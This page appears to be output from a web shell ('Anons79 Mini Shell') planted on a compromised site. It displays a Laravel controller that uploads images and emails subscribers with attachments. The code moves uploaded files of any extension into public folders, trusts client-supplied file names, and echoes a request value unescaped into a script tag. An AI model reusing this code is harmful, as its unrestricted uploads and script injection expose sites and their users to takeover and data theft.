Anons79 Mini Shell

Directory : /home/proudlyafrican/www/app/Http/Controllers/
Upload File :
Current File : /home/proudlyafrican/www/app/Http/Controllers/emailtosubscribercontroller.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use DB;
use Session;
use Mail;

class emailtosubscribercontroller extends Controller
{
    //
    public function upload(Request $request)
    {
        if($request->hasFile('upload')) {
            $originName = $request->file('upload')->getClientOriginalName();
            $fileName = pathinfo($originName, PATHINFO_FILENAME);
            $extension = $request->file('upload')->getClientOriginalExtension();
            $fileName = $fileName.'_'.time().'.'.$extension;

            $request->file('upload')->move(public_path('images'), $fileName);

            $CKEditorFuncNum = $request->input('CKEditorFuncNum');
            $url = asset('public/images/'.$fileName);
            $msg = 'Image uploaded successfully';
            $response = "<script>window.parent.CKEDITOR.tools.callFunction($CKEditorFuncNum, '$url', '$msg')</script>";

            @header('Content-type: text/html; charset=utf-8');
            echo $response;
        }
    }

    public function send_email_to_singlesubscriber(Request $request){

        $data=array(
            'email'=>$request['editor2'],
            'type'=>'S',
            'subscriber_id'=>$request['hidden_subscriber_id']
        );
        $email_id=  DB::Table('emails')->insertGetId($data);
        $files = $request->file('files');

        if ($request->hasFile('files')) {
            foreach($files as $file){
                $filename = $file->getClientOriginalName();
                $name= $file->getClientOriginalName();
                $file->move('public/uploads/attachments', $filename);
                $data=array([
                    'file_name'=>$name,
                    'email_id'=>$email_id
                ]);
                DB::table('email_child')->insert($data);

            }
        }


        $baseurl=url('/');


        $subscribers=DB::Table('subscribers')->where('id',$request['hidden_subscriber_id'])->get();
        $all_files=DB::Table('email_child')->where('email_id',$email_id)->get();

        foreach($subscribers as $subscriber){
            $data = [
                'email'   => $subscriber->email,
                'email_text'=>$request['editor2'],
                'baseurl'=>$baseurl,
                'user_id'=>$subscriber->id,
                'all_files'=>$all_files,
            ];

            Mail::send('admin.emailtosubscribers.sendemail3', $data, function($message) use ($data)
            {
                $base_url= url('/');
                $message->from('ktkbilawal@gmail.com');
                $message->to($data['email']);
                $message->subject('Proudly African');
                foreach($data['all_files'] as $file){
                    $message->attach($base_url. '/public/uploads/attachments/'.$file->file_name);
                }
            });
        }

        Session::flash('insert','Email has been sent to the subscribers');
        return redirect('all_subscribers');
    }

    public function send_email_to_subscribers(Request $request){



        $data=array(
            'email'=>$request['editor1'],
            'type'=>'A'
        );
        $email_id=  DB::Table('emails')->insertGetId($data);
        $files = $request->file('files');

        if ($request->hasFile('files')) {
            foreach($files as $file){
                $filename = $file->getClientOriginalName();
                $name= $file->getClientOriginalName();
                $file->move('public/uploads/attachments', $filename);
                $data=array([
                    'file_name'=>$name,
                    'email_id'=>$email_id
                ]);
                DB::table('email_child')->insert($data);

            }
        }



        $baseurl=url('/');
        $subscribers=DB::Table('subscribers')->where('active_flag','Y')->get();
        $all_files=DB::Table('email_child')->where('email_id',$email_id)->get();

        foreach($subscribers as $subscriber){
            $data = [
                'email'   => $subscriber->email,
                'email_text'=>$request['editor1'],
                'baseurl'=>$baseurl,
                'user_id'=>$subscriber->id,
                'all_files'=>$all_files

            ];

            Mail::send('admin.emailtosubscribers.sendemail3', $data, function($message) use ($data)
            {
                $base_url= url('/');
                $message->from('ktkbilawal@gmail.com');
                $message->to($data['email']);
                $message->subject('CKgroceries');
                foreach($data['all_files'] as $file){
                    $message->attach($base_url. '/public/uploads/attachments/'.$file->file_name);
                }
            });
        }
        Session::flash('insert','Email has been sent to all subscribers');
        return redirect('all_subscribers');
    }
    public function get_complete_email($email_id){
        $email=DB::Table('emails')->where('email_id',$email_id)->get();
        return $email;
    }
    public function get_complete_email_files($email_id){
        $files=DB::Table('email_child')->where('email_id',$email_id)->get();
        return $files;
    }

    public function resend_email_to_single_subscriber(Request $request){
        $emails=DB::Table('emails')->where('email_id',$request['hidden_single_email_id'])->get();
        $all_files=DB::Table('email_child')->where('email_id',$request['hidden_single_email_id'])->get();

        $subscribers=DB::Table('subscribers')->where('id',$emails[0]->subscriber_id)->get();
        $baseurl=url('/');
        foreach($subscribers as $subscriber){
            $data = [
                'email'   => $subscriber->email,
                'email_text'=>$emails[0]->email,
                'all_files'=>$all_files,
                'baseurl'=>$baseurl,
                'user_id'=>$subscriber->id,

            ];

            Mail::send('admin.emailtosubscribers.sendemail3', $data, function($message) use ($data)
            {
                $base_url= url('/');
                $message->from('ktkbilawal@gmail.com');
                $message->to($data['email']);
                $message->subject('CKgroceries');
                foreach($data['all_files'] as $file){
                    $message->attach($base_url. '/public/uploads/attachments/'.$file->file_name);
                }
            });
        }
        Session::flash('update','Email has been Resent to The subscriber');
        return redirect('all_subscribers');
    }

    public function resend_email_to_all_subscribers(Request $request){
        $emails=DB::Table('emails')->where('email_id',$request['hidden_email_id'])->get();
        $all_files=DB::Table('email_child')->where('email_id',$request['hidden_email_id'])->get();


        $baseurl=url('/');
        $subscribers=DB::Table('subscribers')->where('active_flag','Y')->get();

        foreach($subscribers as $subscriber){
            $data = [
                'email'   => $subscriber->email,
                'email_text'=>$emails[0]->email,
                'all_files'=>$all_files,
                'baseurl'=>$baseurl,
                'user_id'=>$subscriber->id,
            ];

            Mail::send('admin.emailtosubscribers.sendemail3', $data, function($message) use ($data)
            {
                $base_url= url('/');
                $message->from('ktkbilawal@gmail.com');
                $message->to($data['email']);
                $message->subject('CKgroceries');
                foreach($data['all_files'] as $file){
                    $message->attach($base_url. '/public/uploads/attachments/'.$file->file_name);
                }
            });
        }
        Session::flash('update','Email has been Resent to all subscribers');
        return redirect('all_subscribers');

    }

    public function delete_subscriber($id){
        DB::Table('subscribers')->where('id',$id)->delete();
        Session::flash('msg2', 'Subscriber has been Updated Deleted');
        return redirect('all_subscribers');
    }
    public function delete_email($id){
        DB::Table('emails')->where('email_id',$id)->delete();
        Session::flash('msg2', 'Email has been Updated Deleted');
        return redirect('all_subscribers');
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]